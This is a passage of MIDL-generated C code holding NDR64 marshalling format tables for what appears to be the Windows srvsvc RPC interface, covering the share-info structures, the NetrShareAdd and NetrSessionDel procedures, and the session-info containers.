  0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag188_t __midl_frag188 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    }\n};\n\nstatic const __midl_frag183_t __midl_frag183 =\n{ \n/* _SHARE_INFO_2 */\n    { \n    /* _SHARE_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag188,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag178_t __midl_frag178 =\n{ \n/* _SHARE_INFO_1 */\n    { \n    /* _SHARE_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag216,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag172_t __midl_frag172 =\n{ \n/* _SHARE_INFO */\n    { \n    /* _SHARE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag471,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag305,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag306,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag307,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1004 /* 0x3ec */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1006 /* 0x3ee */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag310,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag312,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag313,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 0 /* 0x0 */\n};\n\nstatic const __midl_frag171_t __midl_frag171 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag172\n};\n\nstatic const __midl_frag167_t __midl_frag167 =\n{ \n/* NetrShareAdd */\n    { \n    /* NetrShareAdd */      /* procedure NetrShareAdd */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag172,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ParmErr */      /* parameter ParmErr */\n        &__midl_frag523,\n        { \n        /* ParmErr */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag159_t __midl_frag159 =\n{ \n/* NetrSessionDel */\n    { \n    /* NetrSessionDel */      /* procedure NetrSessionDel */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ClientName */      /* parameter ClientName */\n        &__midl_frag733,\n        { \n        /* ClientName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* UserName */      /* parameter UserName */\n        &__midl_frag733,\n        { \n        /* UserName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_502 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag141\n    }\n};\n\nstatic const __midl_frag147_t __midl_frag147 =\n{ \n/* _SESSION_INFO_502 */\n    { \n    /* _SESSION_INFO_502 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_502 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag141_t __midl_frag141 =\n{ \n/* *_SESSION_INFO_502 */\n    { \n    /* *_SESSION_INFO_502 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_502 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 48 /* 0x30 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 4 /* 0x4 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 32 /* 0x20 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 40 /* 0x28 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 48 /* 0x30 */,\n        &__midl_frag147\n    }\n};\n\nstatic const __midl_frag140_t __midl_frag140 =\n{ \n/* SESSION_INFO_502_CONTAINER */\n    { \n    /* SESSION_INFO_502_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_502_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag152,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag139_t __midl_frag139 =\n{ \n/* *SESSION_INFO_502_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag140\n};\n\nstatic const __midl_frag138_t __midl_frag138 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_10 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag131\n    }\n};\n\nstatic const __midl_frag135_t __midl_frag135 =\n{ \n/* _SESSION_INFO_10 */\n    { \n    /* _SESSION_INFO_10 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_10 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag131_t __midl_frag131 =\n{ \n/* *_SESSION_INFO_10 */\n    { \n    /* *_SESSION_INFO_10 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_10 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 2 /* 0x2 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 